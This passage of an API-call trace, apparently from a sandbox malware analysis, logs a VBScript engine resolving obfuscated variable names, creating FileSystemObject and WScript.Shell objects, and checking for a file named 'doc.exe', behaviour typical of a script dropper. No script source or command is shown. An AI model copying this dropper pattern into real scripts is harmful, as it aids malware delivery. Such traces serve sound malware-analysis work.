[7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.263] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="PRINTERS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.263] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="PRINTERS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.263] GetCurrentThreadId () returned 0xd44 [0088.263] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.263] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.263] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vardwn", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.263] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vardwn", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.263] GetCurrentThreadId () returned 0xd44 [0088.264] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.264] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.264] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="trjrtjhrth", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.264] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="trjrtjhrth", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.264] GetCurrentThreadId () returned 0xd44 [0088.264] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.264] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.264] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="yty", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.264] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="yty", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.264] GetCurrentThreadId () returned 0xd44 [0088.265] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.265] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.265] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="tgrighirh", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.265] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="tgrighirh", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.265] GetCurrentThreadId () returned 0xd44 [0088.265] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.265] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.265] malloc (_Size=0x804) returned 0x83fc220 [0088.265] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.266] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0088.266] SysStringLen (param_1=0x0) returned 0x0 [0088.266] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x11c1f48) returned 0x0 [0088.266] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c1f48, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0088.266] FileSystemObject:IClassFactory:CreateInstance (in: This=0x11c1f48, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x11c2208) returned 0x0 [0088.266] FileSystemObject:IUnknown:Release (This=0x11c1f48) returned 0x0 [0088.266] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2208, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0088.266] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2208, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x11c2208) returned 0x0 [0088.266] FileSystemObject:IUnknown:AddRef (This=0x11c2208) returned 0x3 [0088.266] FileSystemObject:IUnknown:Release (This=0x11c2208) returned 0x2 [0088.266] FileSystemObject:IUnknown:Release (This=0x11c2208) returned 0x1 [0088.266] FileSystemObject:IUnknown:AddRef (This=0x11c2208) returned 0x2 [0088.267] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.267] malloc (_Size=0x804) returned 0x83fc220 [0088.267] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.267] CLSIDFromProgIDEx (in: lpszProgID="Wscript.Shell", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0088.267] SysStringLen (param_1=0x0) returned 0x0 [0088.267] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x1112950) returned 0x0 [0088.268] WshShell:IUnknown:QueryInterface (in: This=0x1112950, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0088.268] WshShell:IClassFactory:CreateInstance (in: This=0x1112950, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x8474cf4) returned 0x0 [0088.268] WshShell:IUnknown:Release (This=0x1112950) returned 0x0 [0088.268] WshShell:IUnknown:QueryInterface (in: This=0x8474cf4, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0088.268] WshShell:IUnknown:QueryInterface (in: This=0x8474cf4, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x8474ce0) returned 0x0 [0088.268] WshShell:IUnknown:AddRef (This=0x8474ce0) returned 0x3 [0088.268] WshShell:IUnknown:Release (This=0x8474ce0) returned 0x2 [0088.268] WshShell:IUnknown:Release (This=0x8474cf4) returned 0x1 [0088.268] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0088.269] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="wshShell", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0088.269] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="wshShell", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0088.269] GetCurrentThreadId () returned 0xd44 [0088.269] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.269] WshShell:IUnknown:AddRef (This=0x8474ce0) returned 0x2 [0088.269] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.269] malloc (_Size=0x804) returned 0x83fc220 [0088.269] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.270] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2228, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0088.270] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x11c2228, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="fileexists", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=10016) returned 0x0 [0088.270] FileSystemObject:IUnknown:AddRef (This=0x11c2228) returned 0x2 [0088.270] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2228, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0088.270] FileSystemObject:IDispatch:Invoke (in: This=0x11c2228, dispIdMember=10016, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154a40*(rgvarg=([0]=0x15497c*(varType=0x8, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=([0]=0x15497c*(varType=0x8, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x11c2228) returned 0x0 [0088.270] FileSystemObject:IUnknown:Release (This=0x11c2228) returned 0x1 [0088.271] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.271] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="offififii", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.271] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="offififii", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.271] GetCurrentThreadId () returned 0xd44 [0088.271] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.271] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.271] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lilvar", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.271] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lilvar", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.271] GetCurrentThreadId () returned 0xd44 [0088.271] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.272] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.272] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdsdsd", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.272] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdsdsd", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.272] GetCurrentThreadId () returned 0xd44 [0088.272] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.272] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.272] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aaaaaaaaaaa", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.272] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aaaaaaaaaaa", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.272] GetCurrentThreadId () returned 0xd44 [0088.272] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.272] malloc (_Size=0x4004) returned 0x8785300 [0088.273] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.273] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="outFile", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.273] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="outFile", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.273] GetCurrentThreadId () returned 0xd44 [0088.273] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.273] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.273] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ii5433y", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.273] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ii5433y", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.273] GetCurrentThreadId () returned 0xd44 [0088.274] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.274] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.275] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="secvar", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.275] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="secvar", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.275] GetCurrentThreadId () returned 0xd44 [0088.275] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.275] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.275] malloc (_Size=0x804) returned 0x83fc220 [0088.275] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.275] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549fc | out: ppvObject=0x1549fc*=0x11977a8) returned 0x0 [0088.275] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="prock", grfdex=0x8, pid=0x154a18 | out: pid=0x154a18*=1395316) returned 0x80020006 [0088.275] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="prock", grfdex=0x8, pid=0x154970 | out: pid=0x154970*=-1) returned 0x80020006 [0088.276] GetCurrentThreadId () returned 0xd44 [0088.276] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.276] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0088.276] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="gjfhf", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0088.276] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="gjfhf", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0088.276] GetCurrentThreadId () returned 0xd44 [0088.276] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.276] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.276] malloc (_Size=0x804) returned 0x83fc220 [0088.276] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.277] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.277] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="wfiwowewfugdy", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.277] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="wfiwowewfugdy", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.277] GetCurrentThreadId () returned 0xd44 [0088.277] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.277] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.277] malloc (_Size=0x804) returned 0x83fc220 [0088.277] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.278] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0088.278] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="stryn", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0088.278] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="stryn", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0088.278] GetCurrentThreadId () returned 0xd44 [0088.278] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.278] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.279] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varforst", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.279] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varforst", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.279] GetCurrentThreadId () returned 0xd44 [0088.279] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.279] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.279] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="jsiweu", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.279] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="jsiweu", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.279] GetCurrentThreadId () returned 0xd44 [0088.280] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.280] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.280] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mreu98y43rh", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.280] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mreu98y43rh", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.280] GetCurrentThreadId () returned 0xd44 [0088.280] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.280] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.280] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="iwywbjd37", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.280] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="iwywbjd37", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.280] GetCurrentThreadId () returned 0xd44 [0088.280] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.281] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.281] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fogeghehdety5", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.281] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fogeghehdety5", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.281] GetCurrentThreadId () returned 0xd44 [0088.281] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.282] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.282] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vjsjuvwiog", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.282] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vjsjuvwiog", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.282] GetCurrentThreadId () returned 0xd44 [0088.282] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.282] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.282] malloc (_Size=0x804) returned 0x83fc220 [0088.283] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.283] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549fc | out: ppvObject=0x1549fc*=0x11977a8) returned 0x0 [0088.283] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="writer", grfdex=0x8, pid=0x154a18 | out: pid=0x154a18*=1395316) returned 0x80020006 [0088.283] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="writer", grfdex=0x8, pid=0x154970 | out: pid=0x154970*=-1) returned 0x80020006 [0088.283] GetCurrentThreadId () returned 0xd44 [0088.283] 